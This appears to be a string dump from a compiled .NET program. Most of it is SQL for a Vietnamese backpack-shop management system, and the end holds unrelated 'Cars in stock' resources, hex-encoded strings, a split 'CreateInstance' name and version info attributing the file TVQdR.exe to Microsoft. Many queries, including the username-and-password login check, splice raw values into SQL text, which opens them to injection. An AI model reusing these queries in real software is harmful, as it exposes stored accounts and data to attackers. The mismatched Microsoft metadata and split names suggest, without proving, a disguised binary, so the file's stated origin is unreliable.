Insert into HoaDon(MaHD,MaNV,MaKH,NgayKhoiTao,MaKhuyenMai,GiamTru,GhiChu,ThanhTien) values (@MaHD,@MaNV,@MaKH,@NgayKhoiTao,@MaKhuyenMai,@GiamTru,@GhiChu,@ThanhTien)
@NgayKhoiTao
@GhiChu
@ThanhTien
SELECT MaHD,MaNV,KhachHang.MaKH as MaKhachHang,TenKH,SDT,HoaDon.NgayKhoiTao as NgayKhoiTao,TenKhuyenMai,GiamTru,GhiChu,ThanhTien FROM HoaDon,KhuyenMai,KhachHang WHERE HoaDon.MaKH = '{0}' AND KhuyenMai.MaKhuyenMai = HoaDon.MaKhuyenMai AND HoaDon.MaKH = KhachHang.MaKH ORDER BY HoaDon.NgayKhoiTao DESC
SELECT MaHD,MaNV,HoaDon.MaKH as MaKhachHang,TenKH,SDT,HoaDon.NgayKhoiTao as NgayKhoiTao,TenKhuyenMai,GiamTru,GhiChu,ThanhTien FROM HoaDon,KhuyenMai,KhachHang WHERE HoaDon.MaHD = '{0}' AND KhuyenMai.MaKhuyenMai = HoaDon.MaKhuyenMai AND KhachHang.MaKH = HoaDon.MaKH ORDER BY HoaDon.NgayKhoiTao DESC
Select sp.MaDanhMuc as MaDanhMuc,TenDanhMuc,Url, sp.MaSP as MaSP, TenSP, MauSac, ThuongHieu, ChongNuoc, TrongLuong, ChatLieu, GiaVon, GiaBanLe, cthd.SoLuong as SoLuong, cthd.GiamTru as GiamTru, cthd.TongTien as TongTien from HoaDon as hd, ChiTietHoaDon as cthd, SanPham as sp, ChiTietSanPham as ctsp, HinhAnh as ha, DanhMuc as dm where hd.NgayKhoiTao >= '{0}' AND hd.NgayKhoiTao <= dateadd(day,1,'{1}') AND hd.MaHD = cthd.MaHD AND cthd.MaCTSP = ctsp.MaCTSP AND ctsp.MaSP = sp.MaSP AND ctsp.MaHinhAnh = ha.MaHinhAnh AND dm.MaDanhMuc = sp.MaDanhMuc ORDER BY hd.NgayKhoiTao DESC
Insert into KhachHang (MaKH,TenKH,SDT,NgayKhoiTao) values (@MaKH,@TenKH,@SDT,@NgayKhoiTao)
@TenKH
Select * from KhachHang where SDT = '{0}' AND TrangThai = 1
Select * from KhuyenMai where TrangThai = 1 AND ApDungHD = 0
Select * from KhuyenMai where TrangThai = 1
Select * from KhuyenMai where MaKhuyenMai = {0}
TenKhuyenMai
NgayBatDau
NgayKetThuc
Select * from KhuyenMai where TrangThai = 1 AND ApDungHD = 1
MaKhuyenMai
Insert into KhuyenMai(NgayBatDau,NgayKetThuc,ApDungHD,TenKhuyenMai,MoTa) values (@NgayBatDau,@NgayKetThuc,@ApDungHD,@TenKhuyenMai,@MoTa) SELECT CAST(scope_identity() AS int)
@NgayBatDau
@NgayKetThuc
@ApDungHD
@TenKhuyenMai
UPDATE KhuyenMai Set NgayBatDau = @NgayBatDau, NgayKetThuc = @NgayKetThuc, ApDungHD = @ApDungHD, TenKhuyenMai = @TenKhuyenMai, MoTa = @MoTa where MaKhuyenMai = @MaKhuyenMai
UPDATE KhuyenMai set TrangThai = 0 where MaKhuyenMai = '{0}'
SELECT NhaCungCap.*,HinhAnh.Url FROM NhaCungCap,HinhAnh WHERE NhaCungCap.TrangThai = 1 AND NhaCungCap.MaHinhAnh = HinhAnh.MaHinhAnh
select count(TenNhaCungCap) from NhaCungCap where TenNhaCungCap = '{0}'
INSERT INTO NhaCungCap(MaNhaCungCap,TenNhaCungCap,MaHinhAnh,SoDienThoai,DiaChi,TrangThai) VALUES (@MaNhaCungCap, @TenNhaCungCap, @MaHinhAnh, @SoDienThoai, @DiaChi, @TrangThai)
@MaNhaCungCap
@TenNhaCungCap
@SoDienThoai
@DiaChi
UPDATE NhaCungCap SET TenNhaCungCap = @TenNhaCungCap, MaHinhAnh = @MaHinhAnh, SoDienThoai = @SoDienThoai, DiaChi = @DiaChi WHERE MaNhaCungCap = @MaNhaCungCap
UPDATE NhaCungCap Set TrangThai = 0 WHERE MaNhaCungCap = '{0}'
SELECT HoTen,NgaySinh,DiaChi,QueQuan,SoDienThoai,NgayKhoiTao,Url,MoTa from NhanVien,HinhAnh,TaiKhoan,PhanLoaiTaiKhoan where NhanVien.MaHinhAnh = HinhAnh.MaHinhAnh AND NhanVien.MaNV = TaiKhoan.MaNV and TaiKhoan.MaPhanLoaiTK = PhanLoaiTaiKhoan.MaPhanLoaiTK
Insert into NhanVien (MaNV,HoTen,NgaySinh,QueQuan,DiaChi,SoDienThoai,TrangThai,NgayKhoiTao,MaHinhAnh) values (@MaNV,@HoTen,@NgaySinh,@QueQuan,@DiaChi,@SoDienThoai,@TrangThai,@NgayKhoiTao,@MaHinhAnh)
@HoTen
@NgaySinh
@QueQuan
Select * from NhanVien,HinhAnh where MaNV = '{0}' AND NhanVien.MaHinhAnh = HinhAnh.MaHinhAnh
QueQuan
SoDienThoai
DiaChi
NgaySinh
NgayKhoiTao
UPDATE NhanVien SET HoTen = @HoTen, NgaySinh = @NgaySinh, QueQuan = @QueQuan, DiaChi = @DiaChi, SoDienThoai = @SoDienThoai, MaHinhAnh = @MaHinhAnh where MaNV = @MaNV
Select * from PhanLoaiTaiKhoan
Select * from PhanLoaiTaiKhoan where MaPhanLoaiTK = {0}
MaPhanLoaiTK
INSERT INTO PhieuNhapKho(MaPhieuNhapKho, MaNV, GhiChu, NgayKhoiTao, TrangThai, MaNhaCungCap) VALUES(@MaPhieuNhapKho, @MaNV, @GhiChu, @NgayKhoiTao, @TrangThai, @MaNhaCungCap)
Select MaPhieuNhapKho, HoTen, PhieuNhapKho.NgayKhoiTao as NgayKhoiTao,GhiChu, TenNhaCungCap from PhieuNhapKho,NhanVien,NhaCungCap where PhieuNhapKho.MaNV = NhanVien.MaNV AND PhieuNhapKho.MaNhaCungCap = NhaCungCap.MaNhaCungCap AND PhieuNhapKho.NgayKhoiTao >= '{0}' AND PhieuNhapKho.NgayKhoiTao <= dateadd(day,1,'{1}') ORDER BY PhieuNhapKho.NgayKhoiTao DESC
SELECT SanPham.*,TenDanhMuc ,ChiTietSanPham.MaCTSP, ChiTietSanPham.MauSac, ChiTietSanPham.TrangThai, ChiTietSanPham.SoLuong, HinhAnh.Url,TenKhuyenMai FROM SanPham, DanhMuc, ChiTietSanPham, HinhAnh,KhuyenMai WHERE SanPham.MaKhuyenMai = KhuyenMai.MaKhuyenMai AND SanPham.MaDanhMuc = DanhMuc.MaDanhMuc AND ChiTietSanPham.MaSP = SanPham.MaSP AND ChiTietSanPham.MaHinhAnh = HinhAnh.MaHinhAnh AND ChiTietSanPham.TrangThai = 1 AND ChiTietSanPham.SoLuong>0 order by SanPham.TenSP
SELECT SanPham.*,TenDanhMuc ,ChiTietSanPham.MaCTSP, ChiTietSanPham.MauSac, ChiTietSanPham.TrangThai, ChiTietSanPham.SoLuong, HinhAnh.Url,TenKhuyenMai FROM SanPham, DanhMuc, ChiTietSanPham, HinhAnh, KhuyenMai WHERE SanPham.MaKhuyenMai = KhuyenMai.MaKhuyenMai AND SanPham.MaDanhMuc = DanhMuc.MaDanhMuc AND ChiTietSanPham.MaSP = SanPham.MaSP AND ChiTietSanPham.MaHinhAnh = HinhAnh.MaHinhAnh AND ChiTietSanPham.TrangThai = 1 AND ChiTietSanPham.SoLuong = 0 order by SanPham.TenSP
SELECT SanPham.*,TenDanhMuc ,ChiTietSanPham.MaCTSP, ChiTietSanPham.MauSac, ChiTietSanPham.TrangThai, ChiTietSanPham.SoLuong, HinhAnh.Url,TenKhuyenMai FROM SanPham, DanhMuc, ChiTietSanPham, HinhAnh,KhuyenMai WHERE SanPham.MaKhuyenMai = KhuyenMai.MaKhuyenMai AND SanPham.MaDanhMuc = DanhMuc.MaDanhMuc AND ChiTietSanPham.MaSP = SanPham.MaSP AND ChiTietSanPham.MaHinhAnh = HinhAnh.MaHinhAnh AND ChiTietSanPham.TrangThai = 1 order by SanPham.TenSP
SELECT SanPham.*,TenDanhMuc ,ChiTietSanPham.MaCTSP, ChiTietSanPham.MauSac, ChiTietSanPham.TrangThai, ChiTietSanPham.SoLuong, HinhAnh.Url,TenKhuyenMai FROM SanPham, DanhMuc, ChiTietSanPham, HinhAnh,KhuyenMai WHERE SanPham.MaKhuyenMai = KhuyenMai.MaKhuyenMai AND SanPham.MaDanhMuc = DanhMuc.MaDanhMuc AND ChiTietSanPham.MaSP = SanPham.MaSP AND ChiTietSanPham.MaHinhAnh = HinhAnh.MaHinhAnh AND ChiTietSanPham.TrangThai = 0 order by SanPham.TenSP
SELECT SanPham.*,DanhMuc.*,ChiTietSanPham.*,HinhAnh.Url,HinhAnh.MaHinhAnh FROM SanPham, DanhMuc, ChiTietSanPham, HinhAnh WHERE SanPham.MaDanhMuc = DanhMuc.MaDanhMuc AND ChiTietSanPham.MaSP = SanPham.MaSP AND ChiTietSanPham.MaHinhAnh = HinhAnh.MaHinhAnh AND SanPham.MaSP='{0}' AND ChiTietSanPham.MaCTSP ='{1}'
SELECT * FROM DanhMuc
UPDATE ChiTietSanPham SET TrangThai = 0 WHERE MaCTSP ='{0}'
UPDATE SanPham SET TenSP = @TenSP , ThuongHieu = @ThuongHieu, ChatLieu = @ChatLieu, GiaVon = @GiaVon, GiaBanLe = @GiaBanLe, ChongNuoc = @ChongNuoc, TrongLuong = @TrongLuong, MaDanhMuc = @MaDanhMuc, SoNamBH = @SoNamBH WHERE MaSP = @MaSP
@TenSP
@ThuongHieu
@ChatLieu
@GiaVon
@GiaBanLe
@ChongNuoc
@TrongLuong
@SoNamBH
UPDATE ChiTietSanPham SET MauSac = @MauSac, SoLuong = @SoLuong, MaHinhAnh = @MaHinhAnh WHERE MaCTSP = @MaCTSP
INSERT INTO SanPham(MaSP,TenSP,ThuongHieu,ChatLieu,GiaVon,GiaBanLe,ChongNuoc,TrongLuong,MaDanhMuc,MaKhuyenMai,SoNamBH) VALUES(@MaSP,@TenSP,@ThuongHieu,@ChatLieu,@GiaVon,@GiaBanLe,@ChongNuoc,@TrongLuong,@MaDanhMuc,4,@SoNamBH)
Select * from SanPham where MaSP = '{0}'
ChatLieu
ChongNuoc
GiaBanLe
GiaVon
MaDanhMuc
SoNamBH
ThuongHieu
TrongLuong
SELECT * FROM SanPham,DanhMuc,ChiTietSanPham where SanPham.MaDanhMuc = DanhMuc.MaDanhMuc AND SanPham.MaSP = ChiTietSanPham.MaSP AND ChiTietSanPham.TrangThai = 1
SELECT count(TenSP) FROM SanPham WHERE MaSP = N'{0}'
SELECT count(TenSP) FROM SanPham WHERE TenSP = N'{0}'
Update SanPham set MaKhuyenMai = {0}
Update SanPham set MaKhuyenMai = {0} where MaKhuyenMai = {1}
Update SanPham set MaKhuyenMai = {0} where MaSP = '{1}'
Select * from SanPham as sp,KhuyenMai as km where sp.MaKhuyenMai = km.MaKhuyenMai AND sp.MaKhuyenMai != 4 AND km.NgayKetThuc <= '{0}'
yyyy-MM-dd
Select DISTINCT ThuongHieu from SanPham ORDER BY ThuongHieu
Select DISTINCT ChatLieu from SanPham ORDER BY ChatLieu
Select DISTINCT TenSP from SanPham ORDER BY TenSP
Insert into TaiKhoan (TenTaiKhoan,MatKhau,TrangThai,MaPhanLoaiTK,MaNV) values (@TenTaiKhoan,@MatKhau,@TrangThai,@MaPhanLoaiTK,@MaNV)
@TenTaiKhoan
@MatKhau
@MaPhanLoaiTK
Select * from TaiKhoan where MaNV = '{0}' AND TrangThai=1
TenTaiKhoan
MatKhau
LastLogon
Select * from TaiKhoan where TenTaiKhoan = '{0}' AND MatKhau = '{1}'
select count(*) from TaiKhoan where TenTaiKhoan = '{0}'
Update TaiKhoan Set LastLogon = '{0}' where MaNV = '{1}'
Select Url,NhanVien.MaNV as MaNV,HoTen,NgaySinh,QueQuan,DiaChi,NgayKhoiTao,LastLogon,TenTaiKhoan,MatKhau,PhanLoaiTaiKhoan.MoTa as MoTa,TaiKhoan.TrangThai as TrangThai from TaiKhoan, NhanVien, HinhAnh, PhanLoaiTaiKhoan where TaiKhoan.MaNV = NhanVien.MaNV AND NhanVien.MaHinhAnh = HinhAnh.MaHinhAnh AND TaiKhoan.MaPhanLoaiTK = PhanLoaiTaiKhoan.MaPhanLoaiTK AND TaiKhoan.TrangThai = 1
UPDATE TaiKhoan SET TrangThai = 0 WHERE TenTaiKhoan ='{0}'
UPDATE TaiKhoan SET MatKhau = @MatKhau where TenTaiKhoan = @TenTaiKhoan
Data Source=.\SQLExpress;Initial Catalog=db_baloshop;Integrated Security=True
Data Source=(LocalDB)\MSSQLLocalDB;AttachDbFilename=
\data\db_baloshop.mdf;Integrated Security=True; Connect Timeout = 30
images/
data/avatar/
data/icon/
data/product/
About {0}
Version {0}
tableLayoutPanel
logoPictureBox.Image
logoPictureBox
labelProductName
Product Name
labelVersion
Version
labelCopyright
Copyright
labelCompanyName
Company Name
textBoxDescription
Description
okButton
AboutBox1
Cars in stock
Microsoft Sans Serif
listBox1
textBox1
textBox2
textBox3
textBox4
CarsInStock
{0} {1}
6E69684F75
666563
DTO_Minor
Show Cars in Stock
btnOpenCarsInStock
button1
button2
button3
button4
CreateI
nstance
button5
DTO_Minor.Properties.Resources
logoPictureBox.Image
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
Microsoft
FileDescription
FileVersion
1.0.0.0
InternalName
TVQdR.exe
LegalCopyright
Copyright
Microsoft 2023
LegalTrademarks
OriginalFilename
TVQdR.exe
ProductName
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0